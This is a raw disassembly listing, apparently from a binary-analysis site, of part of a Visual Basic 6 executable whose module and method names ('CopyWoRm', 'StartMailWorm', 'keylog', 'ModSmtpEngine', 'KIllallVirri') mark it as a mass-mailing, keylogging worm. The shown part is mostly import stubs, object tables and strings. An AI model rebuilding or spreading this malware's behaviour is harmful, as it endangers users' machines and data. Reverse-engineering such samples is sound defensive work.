Similarity

00405940
00405940fn_405940:
00405940mov eax, 96
00405940

00405945
00405945 66 3d f=

00405947
00405947fn_405947:
00405947xor eax, eax
00405949mov edx, 0x411a98
0040594epush 0x40120c
00405953ret
00405947

00405954
00405954 b8 00 00 00 00 66 3d .....f=

0040595b
0040595bfn_40595b:
0040595bxor eax, eax
0040595dmov edx, 0x41207c
00405962push 0x40120c
00405967ret
0040595b

00405968
00405968 b8 00 00 00 00 66 3d .....f=

0040596f
0040596ffn_40596f:
0040596fxor eax, eax
00405971mov edx, 0x4105dc
00405976push 0x40120c
0040597bret
0040596f

0040597c
0040597c b8 00 00 00 ....
00405980 00 66 3d .f=

00405983
00405983fn_405983:
00405983xor eax, eax
00405985mov edx, 0x413b68
0040598apush 0x40120c
0040598fret
00405983

00405990
00405990 b8 00 00 00 00 66 3d .....f=

00405997
00405997fn_405997:
00405997xor eax, eax
00405999mov edx, 0x412d98
0040599epush 0x40120c
004059a3ret
00405997

004059a4
004059a4 b8 00 00 00 00 66 3d .....f=

004059ab
004059abfn_4059ab:
004059abxor eax, eax
004059admov edx, 0x40d31c
004059b2push 0x40120c
004059b7ret
004059ab

004059b8
004059b8 b8 00 00 00 00 66 3d .....f=

004059bf
004059bffn_4059bf:
004059bfxor eax, eax
004059c1mov edx, 0x40bdb4
004059c6push 0x40120c
004059cbret
004059bf

004059cc
004059cc b8 00 00 00 ....
004059d0 00 66 3d .f=

004059d3
004059d3fn_4059d3:
004059d3xor eax, eax
004059d5mov edx, 0x40e62c
004059dapush 0x40120c
004059dfret
004059d3

004059e0
004059e0fn_4059e0:
004059e0mov eax, 88
004059e0

004059e5
004059e5 66 3d f=

004059e7
004059e7fn_4059e7:
004059e7xor eax, eax
004059e9mov edx, 0x41017c
004059eepush 0x40120c
004059f3ret
004059e7

004059f4
004059f4fn_4059f4:
004059f4mov eax, 92
004059f4

004059f9
004059f9 66 3d f=

004059fb
004059fbfn_4059fb:
004059fbxor eax, eax
004059fdmov edx, 0x40e81c
00405a02push 0x40120c
00405a07ret
004059fb

00405a08
00405a08 b8 00 00 00 00 66 3d .....f=

00405a0f
00405a0ffn_405a0f:
00405a0fxor eax, eax
00405a11mov edx, 0x40cb38
00405a16push 0x40120c
00405a1bret
00405a0f

00405a1c
00405a1c b8 00 00 00 ....
00405a20 00 66 3d .f=

00405a23
00405a23fn_405a23:
00405a23xor eax, eax
00405a25mov edx, 0x40ba40
00405a2apush 0x40120c
00405a2fret
00405a23

00405a30
00405a30fn_405a30:
00405a30mov eax, 100
00405a30

00405a35
00405a35 66 3d f=

00405a37
00405a37fn_405a37:
00405a37xor eax, eax
00405a39mov edx, 0x40b5ac
00405a3epush 0x40120c
00405a43ret
00405a37

00405a44
00405a44fn_405a44:
00405a44mov eax, 112
00405a44

00405a49
00405a49 66 3d f=

00405a4b
00405a4bfn_405a4b:
00405a4bxor eax, eax
00405a4dmov edx, 0x40bc30
00405a52push 0x40120c
00405a57ret
00405a4b

00405a58
00405a58fn_405a58:
00405a58mov eax, 104
00405a58

00405a5d
00405a5d 66 3d f=

00405a5f
00405a5ffn_405a5f:
00405a5fxor eax, eax
00405a61mov edx, 0x40d0b0
00405a66push 0x40120c
00405a6bret
00405a5f

00405a6c
00405a6c b8 00 00 00 ....
00405a70 00 66 3d .f=

00405a73
00405a73fn_405a73:
00405a73xor eax, eax
00405a75mov edx, 0x40c62c
00405a7apush 0x40120c
00405a7fret
00405a73

00405a80
00405a80 b8 00 00 00 00 66 3d .....f=

00405a87
00405a87fn_405a87:
00405a87xor eax, eax
00405a89mov edx, 0x40b0ec
00405a8epush 0x40120c
00405a93ret
00405a87

00405a94
00405a94 b8 00 00 00 00 66 3d .....f=

00405a9b
00405a9bfn_405a9b:
00405a9bxor eax, eax
00405a9dmov edx, 0x40c824
00405aa2push 0x40120c
00405aa7ret
00405a9b

00405aa8
00405aa8 b8 00 00 00 00 66 3d .....f=

00405aaf
00405aaffn_405aaf:
00405aafxor eax, eax
00405ab1mov edx, 0x40f04c
00405ab6push 0x40120c
00405abbret
00405aaf

00405abc
00405abc struct ObjectTable
00405abc lpHeapLink uint32 0x00000000
00405ac0 lpExecProj uint32 0x41b524
00405ac4 lpProjectInfo2 uint32 0x40b1bc
00405ac8 dwReserved uint32 0xffffffff
00405acc dwNull uint32 0x00000000
00405ad0 lpProjectObject uint32 0x41b514
00405ad4 uuidObject guid 39a80b40-be66-42dd-8796-aca299f9c72d
00405ae4 fCompileState uint16 0x000a
00405ae6 wTotalObjects int 15
00405ae8 wCompiledObjects int 15
00405aea wObjectsInUse int 15
00405aec lpObjectArray uint32 0x405b10
00405af0 fIdeFlag uint32 0x00000000
00405af4 lpIdeData uint32 0x00000000
00405af8 lpIdeData2 uint32 0x00000000
00405afc lpszProjectName uint32 0x405ed0
00405b00 dwLcid uint32 0x00000409
00405b04 dwLcid2 uint32 0x00000409
00405b08 lpIdeData3 uint32 0x00000000
00405b0c dwIdentifier int 2
00405b10
00405b10 struct PublicObjectDescriptor
00405b10 lpObjectInfo uint32 0x403ff0
00405b14 dwReserved uint32 0xffffffff
00405b18 lpPublicBytes uint32 0x406314
00405b1c lpStaticBytes uint32 0x00000000
00405b20 lpModulePublic uint32 0x41b008
00405b24 lpModuleStatic uint32 0x00000000
00405b28 lpszObjectName uint32 0x405e34
00405b2c dwMethodCount int 22
00405b30 lpMethodNames uint32 0x00000000
00405b34 bStaticVars uint32 0x0000ffff
00405b38 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405b3c dwNull uint32 0x00000000
00405b40
00405b40 struct PublicObjectDescriptor
00405b40 lpObjectInfo uint32 0x403e7c
00405b44 dwReserved uint32 0xffffffff
00405b48 lpPublicBytes uint32 0x4064b8
00405b4c lpStaticBytes uint32 0x00000000
00405b50 lpModulePublic uint32 0x41b154
00405b54 lpModuleStatic uint32 0x00000000
00405b58 lpszObjectName uint32 0x405e3c
00405b5c dwMethodCount int 6
00405b60 lpMethodNames uint32 0x00000000
00405b64 bStaticVars uint32 0x0000ffff
00405b68 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405b6c dwNull uint32 0x00000000
00405b70
00405b70 struct PublicObjectDescriptor
00405b70 lpObjectInfo uint32 0x4041b8
00405b74 dwReserved uint32 0xffffffff
00405b78 lpPublicBytes uint32 0x406904
00405b7c lpStaticBytes uint32 0x00000000
00405b80 lpModulePublic uint32 0x41b18c
00405b84 lpModuleStatic uint32 0x00000000
00405b88 lpszObjectName uint32 0x405e48
00405b8c dwMethodCount int 11
00405b90 lpMethodNames uint32 0x00000000
00405b94 bStaticVars uint32 0x0000ffff
00405b98 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405b9c dwNull uint32 0x00000000
00405ba0
00405ba0 struct PublicObjectDescriptor
00405ba0 lpObjectInfo uint32 0x403844
00405ba4 dwReserved uint32 0xffffffff
00405ba8 lpPublicBytes uint32 0x407518
00405bac lpStaticBytes uint32 0x00000000
00405bb0 lpModulePublic uint32 0x41b4c4
00405bb4 lpModuleStatic uint32 0x00000000
00405bb8 lpszObjectName uint32 0x405e54
00405bbc dwMethodCount int 3
00405bc0 lpMethodNames uint32 0x00000000
00405bc4 bStaticVars uint32 0x0000ffff
00405bc8 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405bcc dwNull uint32 0x00000000
00405bd0
00405bd0 struct PublicObjectDescriptor
00405bd0 lpObjectInfo uint32 0x405168
00405bd4 dwReserved uint32 0xffffffff
00405bd8 lpPublicBytes uint32 0x406758
00405bdc lpStaticBytes uint32 0x00000000
00405be0 lpModulePublic uint32 0x00000000
00405be4 lpModuleStatic uint32 0x00000000
00405be8 lpszObjectName uint32 0x405e5c
00405bec dwMethodCount int 21
00405bf0 lpMethodNames uint32 0x405de0
00405bf4 bStaticVars uint32 0x0000ffff
00405bf8 fObjectType uint32 0x00018083 ; HasOptionalInfo|HasPrivateObject|Form
00405bfc dwNull uint32 0x00000000
00405c00
00405c00 struct PublicObjectDescriptor
00405c00 lpObjectInfo uint32 0x403b6c
00405c04 dwReserved uint32 0xffffffff
00405c08 lpPublicBytes uint32 0x407518
00405c0c lpStaticBytes uint32 0x00000000
00405c10 lpModulePublic uint32 0x41b4e4
00405c14 lpModuleStatic uint32 0x00000000
00405c18 lpszObjectName uint32 0x405e64
00405c1c dwMethodCount int 13
00405c20 lpMethodNames uint32 0x00000000
00405c24 bStaticVars uint32 0x0000ffff
00405c28 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405c2c dwNull uint32 0x00000000
00405c30
00405c30 struct PublicObjectDescriptor
00405c30 lpObjectInfo uint32 0x40397c
00405c34 dwReserved uint32 0xffffffff
00405c38 lpPublicBytes uint32 0x407518
00405c3c lpStaticBytes uint32 0x00000000
00405c40 lpModulePublic uint32 0x41b218
00405c44 lpModuleStatic uint32 0x00000000
00405c48 lpszObjectName uint32 0x405e70
00405c4c dwMethodCount int 6
00405c50 lpMethodNames uint32 0x00000000
00405c54 bStaticVars uint32 0x0000ffff
00405c58 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405c5c dwNull uint32 0x00000000
00405c60
00405c60 struct PublicObjectDescriptor
00405c60 lpObjectInfo uint32 0x404b14
00405c64 dwReserved uint32 0xffffffff
00405c68 lpPublicBytes uint32 0x40732c
00405c6c lpStaticBytes uint32 0x00000000
00405c70 lpModulePublic uint32 0x41b1c8
00405c74 lpModuleStatic uint32 0x00000000
00405c78 lpszObjectName uint32 0x405e78
00405c7c dwMethodCount int 38
00405c80 lpMethodNames uint32 0x00000000
00405c84 bStaticVars uint32 0x0000ffff
00405c88 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405c8c dwNull uint32 0x00000000
00405c90
00405c90 struct PublicObjectDescriptor
00405c90 lpObjectInfo uint32 0x403910
00405c94 dwReserved uint32 0xffffffff
00405c98 lpPublicBytes uint32 0x406cc8
00405c9c lpStaticBytes uint32 0x00000000
00405ca0 lpModulePublic uint32 0x41b1b8
00405ca4 lpModuleStatic uint32 0x00000000
00405ca8 lpszObjectName uint32 0x405e80
00405cac dwMethodCount int 6
00405cb0 lpMethodNames uint32 0x00000000
00405cb4 bStaticVars uint32 0x0000ffff
00405cb8 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405cbc dwNull uint32 0x00000000
00405cc0
00405cc0 struct PublicObjectDescriptor
00405cc0 lpObjectInfo uint32 0x404888
00405cc4 dwReserved uint32 0xffffffff
00405cc8 lpPublicBytes uint32 0x409444
00405ccc lpStaticBytes uint32 0x409fc4
00405cd0 lpModulePublic uint32 0x41b504
00405cd4 lpModuleStatic uint32 0x41b510
00405cd8 lpszObjectName uint32 0x405e8c
00405cdc dwMethodCount int 5
00405ce0 lpMethodNames uint32 0x00000000
00405ce4 bStaticVars uint32 0x00000004
00405ce8 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405cec dwNull uint32 0x00000000
00405cf0
00405cf0 struct PublicObjectDescriptor
00405cf0 lpObjectInfo uint32 0x404e2c
00405cf4 dwReserved uint32 0xffffffff
00405cf8 lpPublicBytes uint32 0x407518
00405cfc lpStaticBytes uint32 0x00000000
00405d00 lpModulePublic uint32 0x41b228
00405d04 lpModuleStatic uint32 0x00000000
00405d08 lpszObjectName uint32 0x405e94
00405d0c dwMethodCount int 3
00405d10 lpMethodNames uint32 0x00000000
00405d14 bStaticVars uint32 0x0000ffff
00405d18 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405d1c dwNull uint32 0x00000000
00405d20
00405d20 struct PublicObjectDescriptor
00405d20 lpObjectInfo uint32 0x403c44
00405d24 dwReserved uint32 0xffffffff
00405d28 lpPublicBytes uint32 0x407c10
00405d2c lpStaticBytes uint32 0x00000000
00405d30 lpModulePublic uint32 0x41b248
00405d34 lpModuleStatic uint32 0x00000000
00405d38 lpszObjectName uint32 0x405ea4
00405d3c dwMethodCount int 11
00405d40 lpMethodNames uint32 0x00000000
00405d44 bStaticVars uint32 0x0000ffff
00405d48 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405d4c dwNull uint32 0x00000000
00405d50
00405d50 struct PublicObjectDescriptor
00405d50 lpObjectInfo uint32 0x403d58
00405d54 dwReserved uint32 0xffffffff
00405d58 lpPublicBytes uint32 0x407518
00405d5c lpStaticBytes uint32 0x00000000
00405d60 lpModulePublic uint32 0x41b4d4
00405d64 lpModuleStatic uint32 0x00000000
00405d68 lpszObjectName uint32 0x405eac
00405d6c dwMethodCount int 11
00405d70 lpMethodNames uint32 0x00000000
00405d74 bStaticVars uint32 0x0000ffff
00405d78 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405d7c dwNull uint32 0x00000000
00405d80
00405d80 struct PublicObjectDescriptor
00405d80 lpObjectInfo uint32 0x403aa0
00405d84 dwReserved uint32 0xffffffff
00405d88 lpPublicBytes uint32 0x407518
00405d8c lpStaticBytes uint32 0x00000000
00405d90 lpModulePublic uint32 0x41b238
00405d94 lpModuleStatic uint32 0x00000000
00405d98 lpszObjectName uint32 0x405eb8
00405d9c dwMethodCount int 4
00405da0 lpMethodNames uint32 0x00000000
00405da4 bStaticVars uint32 0x0000ffff
00405da8 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405dac dwNull uint32 0x00000000
00405db0
00405db0 struct PublicObjectDescriptor
00405db0 lpObjectInfo uint32 0x4038a8
00405db4 dwReserved uint32 0xffffffff
00405db8 lpPublicBytes uint32 0x407518
00405dbc lpStaticBytes uint32 0x00000000
00405dc0 lpModulePublic uint32 0x41b4f4
00405dc4 lpModuleStatic uint32 0x00000000
00405dc8 lpszObjectName uint32 0x405ec8
00405dcc dwMethodCount int 3
00405dd0 lpMethodNames uint32 0x00000000
00405dd4 bStaticVars uint32 0x0000ffff
00405dd8 fObjectType uint32 0x00018001 ; HasOptionalInfo
00405ddc dwNull uint32 0x00000000
00405de0 struct VBMethodNameEntry[21] ; 0x405de0-0x405e34, 18 set, 3 null
00405de0 #0 lpEntry = 0xfffffffe
00405de8 #2 lpEntry = 0xffffffff
00405dec #3 lpEntry = 0x004066b8 ; "instal"
00405df0 #4 lpEntry = 0x004066c0 ; "CopyWoRm"
00405df4 #5 lpEntry = 0x004066cc ; "setMyRegister"
00405df8 #6 lpEntry = 0x004066dc ; "KIllallVirri"
00405dfc #7 lpEntry = 0x004066ec ; "CopyYourUfd"
00405e00 #8 lpEntry = 0x004066f8 ; "StartMailWorm"
00405e04 #9 lpEntry = 0x00406708 ; "SelamatkanMsVb"
00405e08 #10 lpEntry = 0xfffffffe
00405e10 #12 lpEntry = 0x00406718 ; "EndTKMnUW"
00405e14 #13 lpEntry = 0x00406724 ; "CreateMutex"
00405e1c #15 lpEntry = 0x02df208a
00405e20 #16 lpEntry = 0x00000338
00405e24 #17 lpEntry = 0x00406730 ; "kirimbo"
00405e28 #18 lpEntry = 0x00406738 ; "taroocx"
00405e2c #19 lpEntry = 0x00406740 ; "dRopingAnyFiles"
00405e30 #20 lpEntry = 0x00406750 ; "shellbi"
00405e34
00405e34 string "global",0
00405e3b
00405e3b 00 .
00405e3c
00405e3c string "Utilities",0
00405e46
00405e46 00 00 ..
00405e48
00405e48 string "ScanEmail",0
00405e52
00405e52 00 00 ..
00405e54
00405e54 string "mosf",0
00405e59
00405e59 00 00 00 ...
00405e5c
00405e5c string "FrmMain",0
00405e64
00405e64 string "basRegistry",0
00405e70
00405e70 string "modInet",0
00405e78
00405e78 string "newSmtp",0
00405e80
00405e80 string "basService",0
00405e8b
00405e8b 00 .
00405e8c
00405e8c string "keylog",0
00405e93
00405e93 00 .
00405e94
00405e94 string "ModSmtpEngine",0
00405ea2
00405ea2 00 00 ..
00405ea4
00405ea4 string "Modzip",0
00405eab
00405eab 00 .
00405eac
00405eac string "ModNetwork",0
00405eb7
00405eb7 00 .
00405eb8
00405eb8 string "ModMoonUpdate",0
00405ec6
00405ec6 00 00 ..
00405ec8
00405ec8 string "Modmidi",0
00405ed0
00405ed0 string "NewMoonlight",0
00405edd
00405edd 00 00 00 ...
00405ee0 06 00 00 00 ....
00405ee4
00405ee4 wstring "*.*",0
00405eec
00405eec struct VBDeclareNameLength
00405eec cbName int 12
00405ef0
00405ef0 string "shell32.dll",0
00405efc
00405efc struct VBDeclareNameLength
00405efc cbName int 14
00405f00
00405f00 string "ShellExecuteA",0
00405f0e
00405f0e 00 00 ..
00405f10
00405f10 struct DeclareInfo
00405f10 lpszLibraryName uint32 0x405ef0
00405f14 lpszFunctionName uint32 0x405f00
00405f18 dwFlags uint32 0x00040000
00405f1c lpCache uint32 0x41bc60
00405f20 dwReserved uint32 0x00000000
00405f24
00405f24 00 00 00 00 ....

00405f28
00405f28fn_405f28:
00405f28mov eax, [0x41bc68]
00405f2dor eax, eax
00405f2fje 0x405f33
00405f31jmp eax
00405f33
00405f33loc_405f33:
00405f33push 0x405f10
00405f38mov eax, 0x4010e0
00405f3dcall eax
00405f3fjmp eax
00405f28

00405f41
00405f41 00 00 00 ...
00405f44
00405f44 struct VBDeclareNameLength
00405f44 cbName int 9
00405f48
00405f48 string "kernel32",0
00405f51
00405f51 00 00 00 ...
00405f54
00405f54 struct VBDeclareNameLength
00405f54 cbName int 21
00405f58
00405f58 string "GetWindowsDirectoryA",0
00405f6d
00405f6d 00 00 00 ...
00405f70 08 00 00 00 ....
00405f74
00405f74 wstring ".exe",0
00405f7e
00405f7e 00 00 ..
00405f80
00405f80 struct DeclareInfo
00405f80 lpszLibraryName uint32 0x405f48
00405f84 lpszFunctionName uint32 0x405f58
00405f88 dwFlags uint32 0x00040000
00405f8c lpCache uint32 0x41bc6c
00405f90 dwReserved uint32 0x00000000
00405f94
00405f94 00 00 00 00 ....

00405f98
00405f98fn_405f98:
00405f98mov eax, [0x41bc74]
00405f9dor eax, eax
00405f9fje 0x405fa3
00405fa1jmp eax
00405fa3
00405fa3loc_405fa3:
00405fa3push 0x405f80
00405fa8mov eax, 0x4010e0
00405fadcall eax
00405fafjmp eax
00405f98

00405fb1
00405fb1 00 00 00 ...
00405fb4
00405fb4 struct VBDeclareNameLength
00405fb4 cbName int 20
00405fb8
00405fb8 string "GetSystemDirectoryA",0
00405fcc
00405fcc struct DeclareInfo
00405fcc lpszLibraryName uint32 0x405f48
00405fd0 lpszFunctionName uint32 0x405fb8
00405fd4 dwFlags uint32 0x00040000
00405fd8 lpCache uint32 0x41bc78
00405fdc dwReserved uint32 0x00000000
00405fe0
00405fe0 00 00 00 00 ....

00405fe4
00405fe4fn_405fe4:
00405fe4mov eax, [0x41bc80]
00405fe9or eax, eax
00405febje 0x405fef
00405fedjmp eax
00405fef
00405fefloc_405fef:
00405fefpush 0x405fcc
00405ff4mov eax, 0x4010e0
00405ff9call eax
00405ffbjmp eax
00405fe4

00405ffd
00405ffd 00 00 00 ...
00406000
00406000 struct VBDeclareNameLength
00406000 cbName int 11
00406004
00406004 string "user32.dll",0
0040600f
0040600f 00 .
00406010
00406010 struct VBDeclareNameLength
00406010 cbName int 12
00406014
00406014 string "EnumWindows",0
00406020
00406020 struct DeclareInfo
00406020 lpszLibraryName uint32 0x406004
00406024 lpszFunctionName uint32 0x406014
00406028 dwFlags uint32 0x00040000
0040602c lpCache uint32 0x41bc84
00406030 dwReserved uint32 0x00000000
00406034
00406034 00 00 00 00 ....

00406038
00406038fn_406038:
00406038mov eax, [0x41bc8c]
0040603dor eax, eax
0040603fje 0x406043
00406041jmp eax
00406043
00406043loc_406043:
00406043push 0x406020
00406048mov eax, 0x4010e0
0040604dcall eax
0040604fjmp eax
00406038

00406051
00406051 00 00 00 ...
00406054
00406054 struct VBDeclareNameLength
00406054 cbName int 7
00406058
00406058 string "user32",0
0040605f
0040605f 00 .
00406060
00406060 struct VBDeclareNameLength
00406060 cbName int 13
00406064
00406064 string "EnableWindow",0
00406071
00406071 00 00 00 ...
00406074
00406074 struct DeclareInfo
00406074 lpszLibraryName uint32 0x406058
00406078 lpszFunctionName uint32 0x406064
0040607c dwFlags uint32 0x00040000
00406080 lpCache uint32 0x41bc90
00406084 dwReserved uint32 0x00000000
00406088
00406088 00 00 00 00 ....

0040608c
0040608cfn_40608c:
0040608cmov eax, [0x41bc98]
00406091or eax, eax
00406093je 0x406097
00406095jmp eax
00406097
00406097loc_406097:
00406097push 0x406074
0040609cmov eax, 0x4010e0
004060a1call eax
004060a3jmp eax
0040608c

004060a5
004060a5 00 00 00 ...
004060a8
004060a8 struct VBDeclareNameLength
004060a8 cbName int 10
004060ac
004060ac string "GetParent",0
004060b6
004060b6 00 00 ..
004060b8
004060b8 struct DeclareInfo
004060b8 lpszLibraryName uint32 0x406058
004060bc lpszFunctionName uint32 0x4060ac
004060c0 dwFlags uint32 0x00040000
004060c4 lpCache uint32 0x41bc9c
004060c8 dwReserved uint32 0x00000000
004060cc
004060cc 00 00 00 00 ....

004060d0
004060d0fn_4060d0:
004060d0mov eax, [0x41bca4]
004060d5or eax, eax
004060d7je 0x4060db
004060d9jmp eax
004060db
004060dbloc_4060db:
004060dbpush 0x4060b8
004060e0mov eax, 0x4010e0
004060e5call eax
004060e7jmp eax
004060d0

004060e9
004060e9 00 00 00 ...
004060ec
004060ec struct VBDeclareNameLength
004060ec cbName int 11
004060f0
004060f0 string "ShowWindow",0
004060fb
004060fb 00 .
004060fc
004060fc struct DeclareInfo
004060fc lpszLibraryName uint32 0x406058
00406100 lpszFunctionName uint32 0x4060f0
00406104 dwFlags uint32 0x00040000
00406108 lpCache uint32 0x41bca8
0040610c dwReserved uint32 0x00000000
00406110
00406110 00 00 00 00 ....

00406114
00406114fn_406114:
00406114mov eax, [0x41bcb0]
00406119or eax, eax
0040611bje 0x40611f
0040611djmp eax
0040611f
0040611floc_40611f:
0040611fpush 0x4060fc
00406124mov eax, 0x4010e0
00406129call eax
0040612bjmp eax
00406114

0040612d
0040612d 00 00 00 ...
00406130
00406130 struct VBDeclareNameLength
00406130 cbName int 15
00406134
00406134 string "GetWindowTextA",0
00406143
00406143 00 00 00 00 00 .....
00406148
00406148 struct DeclareInfo
00406148 lpszLibraryName uint32 0x406058
0040614c lpszFunctionName uint32 0x406134
00406150 dwFlags uint32 0x00040000
00406154 lpCache uint32 0x41bcb4
00406158 dwReserved uint32 0x00000000
0040615c
0040615c 00 00 00 00 ....

00406160
00406160fn_406160:
00406160mov eax, [0x41bcbc]
00406165or eax, eax
00406167je 0x40616b
00406169jmp eax
0040616b
0040616bloc_40616b:
0040616bpush 0x406148
00406170mov eax, 0x4010e0
00406175call eax
00406177jmp eax
00406160

00406179
00406179 00 00 00 ...
0040617c
0040617c struct VBDeclareNameLength
0040617c cbName int 14
00406180
00406180 string "GetClassNameA",0
0040618e
0040618e 00 00 ..
00406190
00406190 struct DeclareInfo
00406190 lpszLibraryName uint32 0x406058
00406194 lpszFunctionName uint32 0x406180
00406198 dwFlags uint32 0x00040000
0040619c lpCache uint32 0x41bcc0
004061a0 dwReserved uint32 0x00000000
004061a4
004061a4 00 00 00 00 ....

004061a8
004061a8fn_4061a8:
004061a8mov eax, [0x41bcc8]
004061ador eax, eax
004061afje 0x4061b3
004061b1jmp eax
004061b3
004061b3loc_4061b3:
004061b3push 0x406190
004061b8mov eax, 0x4010e0
004061bdcall eax
004061bfjmp eax
004061a8

004061c1
004061c1 00 00 00 ...
004061c4
004061c4 struct VBDeclareNameLength
004061c4 cbName int 13
004061c8
004061c8 string "SendMessageA",0
004061d5
004061d5 00 00 00 ...
004061d8
004061d8 struct DeclareInfo
004061d8 lpszLibraryName uint32 0x406058
004061dc lpszFunctionName uint32 0x4061c8
004061e0 dwFlags uint32 0x00040000
004061e4 lpCache uint32 0x41bccc
004061e8 dwReserved uint32 0x00000000
004061ec
004061ec 00 00 00 00 ....

004061f0
004061f0fn_4061f0:
004061f0mov eax, [0x41bcd4]
004061f5or eax, eax
004061f7je 0x4061fb
004061f9jmp eax
004061fb
004061fbloc_4061fb:
004061fbpush 0x4061d8
00406200mov eax, 0x4010e0
00406205call eax
00406207jmp eax
004061f0

00406209
00406209 00 00 00 ...
0040620c
0040620c struct VBDeclareNameLength
0040620c cbName int 12
00406210
00406210 string "FindWindowA",0
0040621c
0040621c struct DeclareInfo
0040621c lpszLibraryName uint32 0x406058
00406220 lpszFunctionName uint32 0x406210
00406224 dwFlags uint32 0x00040000
00406228 lpCache uint32 0x41bcd8
0040622c dwReserved uint32 0x00000000
00406230
00406230 00 00 00 00 ....

00406234
00406234fn_406234:
00406234mov eax, [0x41bce0]
00406239or eax, eax
0040623bje 0x40623f
0040623djmp eax
0040623f
0040623floc_40623f:
0040623fpush 0x40621c
00406244mov eax, 0x4010e0
00406249call eax
0040624bjmp eax
00406234

0040624d
0040624d 00 00 00 ...
00406250
00406250 struct VBDeclareNameLength
00406250 cbName int 27
00406254
00406254 string "WritePrivateProfileStringA",0
0040626f
0040626f 00 .
00406270
00406270 struct DeclareInfo
00406270 lpszLibraryName uint32 0x405f48
00406274 lpszFunctionName uint32 0x406254
00406278 dwFlags uint32 0x00040000
0040627c lpCache uint32 0x41bce4
00406280 dwReserved uint32 0x00000000
00406284
00406284 00 00 00 00 ....

00406288
00406288fn_406288:
00406288mov eax, [0x41bcec]
0040628dor eax, eax
0040628fje 0x406293
00406291jmp eax
00406293
00406293loc_406293:
00406293push 0x406270
00406298mov eax, 0x4010e0
0040629dcall eax
0040629fjmp eax
00406288

004062a1
004062a1 00 00 00 ...
004062a4
004062a4 struct VBDeclareNameLength
004062a4 cbName int 25
004062a8
004062a8 string "GetPrivateProfileStringA",0
004062c1
004062c1 00 00 00 ...
004062c4
004062c4 struct DeclareInfo
004062c4 lpszLibraryName uint32 0x405f48
004062c8 lpszFunctionName uint32 0x4062a8
004062cc dwFlags uint32 0x00040000
004062d0 lpCache uint32 0x41bcf0
004062d4 dwReserved uint32 0x00000000
004062d8
004062d8 00 00 00 00 ....

004062dc
004062dcfn_4062dc:
004062dcmov eax, [0x41bcf8]
004062e1or eax, eax
004062e3je 0x4062e7
004062e5jmp eax
004062e7
004062e7loc_4062e7:
004062e7push 0x4062c4
004062ecmov eax, 0x4010e0
004062f1call eax
004062f3jmp eax
004062dc

004062f5
004062f5 00 00 00 79 4f ad 33 99 66 cf 11 ...yO.3.f..
00406300 b7 0c 00 aa 00 60 d3 93 06 00 00 00 .....`......
0040630c
0040630c wstring "'cz",0
00406314
00406314 9c 00 44 01 01 00 1a 00 00 00 00 00 ..D.........
00406320 00 00 02 00 10 00 01 00 14 00 02 00 24 00 02 00 ............$...
00406330 34 00 02 00 44 00 02 00 54 00 02 00 64 00 02 00 4...D...T...d...
00406340 74 00 01 00 78 00 02 00 88 00 02 00 98 00 02 00 t...x...........
00406350 a8 00 02 00 b8 00 02 00 c8 00 02 00 dc 00 01 00 ................
00406360 e0 00 01 00 e4 00 01 00 e8 00 01 00 34 01 01 00 ............4...
00406370 38 01 01 00 ec 00 01 00 f0 00 02 00 08 01 05 00 8...............
00406380 00 00 00 00 01 00 00 00 00 00 00 00 01 00 92 01 ................
00406390 04 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 ................
004063a0 01 00 00 00 08 00 00 00 20 01 02 00 30 01 01 00 ........ ...0...
004063b0 06 00 00 00 ....
004063b4
004063b4 wstring "xxx",0
004063bc
004063bc 0a 00 00 00 ....
004063c0
004063c0 wstring "path1",0
004063cc
004063cc 00 00 00 00 ....
004063d0 00 00 00 00 0a 00 00 00 ........
004063d8
004063d8 wstring "path2",0
004063e4
004063e4 0a 00 00 00 ....
004063e8
004063e8 wstring "path3",0
004063f4
004063f4 0a 00 00 00 ....
004063f8
004063f8 wstring "path4",0
00406404
00406404 0a 00 00 00 ....
00406408
00406408 wstring "path5",0
00406414
00406414 0a 00 00 00 ....
00406418
00406418 wstring "path6",0
00406424
00406424 0a 00 00 00 ....
00406428
00406428 wstring "path7",0
00406434
00406434 0a 00 00 00 ....
00406438
00406438 wstring "path8",0
00406444
00406444 08 00 00 00 ....
00406448
00406448 wstring "path",0
00406452
00406452 00 00 56 42 41 36 2e 44 4c 4c 00 00 00 00 ..VBA6.DLL....
00406460
00406460 struct GUID
00406460 guid guid fcfb3d23-a0fa-1068-a738-08002b3371b5
00406470
00406470 22 3d fb fc fa a0 68 10 a7 38 08 00 2b 33 71 b5 "=....h..8..+3q.
00406480 02 00 00 00 60 64 40 00 70 64 40 00 00 00 00 00 ....`d@.pd@.....
00406490 02 00 00 00 ....
00406494
00406494 wstring "X",0
00406498
00406498 18 00 00 00 ....
0040649c
0040649c wstring "winlogon.exe",0
004064b6
004064b6 00 00 1a 00 1c 00 00 00 02 00 ..........
004064c0 00 00 00 00 00 00 02 00 14 00 05 01 ff ff ff ff ................
004064d0 00 00 00 00 cd cc f2 91 be 91 1c 46 88 3f 07 40 ...........F.?.@
004064e0 8b 0a f4 73 ...s
004064e4
004064e4 struct GUID
004064e4 guid guid 774a3c54-035b-4c94-82f7-6455bed16fc7
004064f4
004064f4 struct GUID
004064f4 guid guid 816f015c-7d2b-4943-a6b7-eb9575199200
00406504
00406504 struct GUID
00406504 guid guid 6d5ddeb6-1ec2-4871-adab-b3ee4d58ae3f
00406514
00406514 struct GUID
00406514 guid guid 33ad4f2a-6699-11cf-b70c-00aa0060d393
00406524
00406524 string "Timer2",0
0040652b
0040652b 00 2e 3d fb fc ..=..
00406530 fa a0 68 10 a7 38 08 00 2b 33 71 b5 43 3a 5c 50 ..h..8..+3q.C:\P
00406540 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 4d 69 63 rogram Files\Mic
00406550 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 53 74 rosoft Visual St
00406560 75 64 69 6f 5c 56 42 39 38 5c 56 42 36 2e 4f 4c udio\VB98\VB6.OL
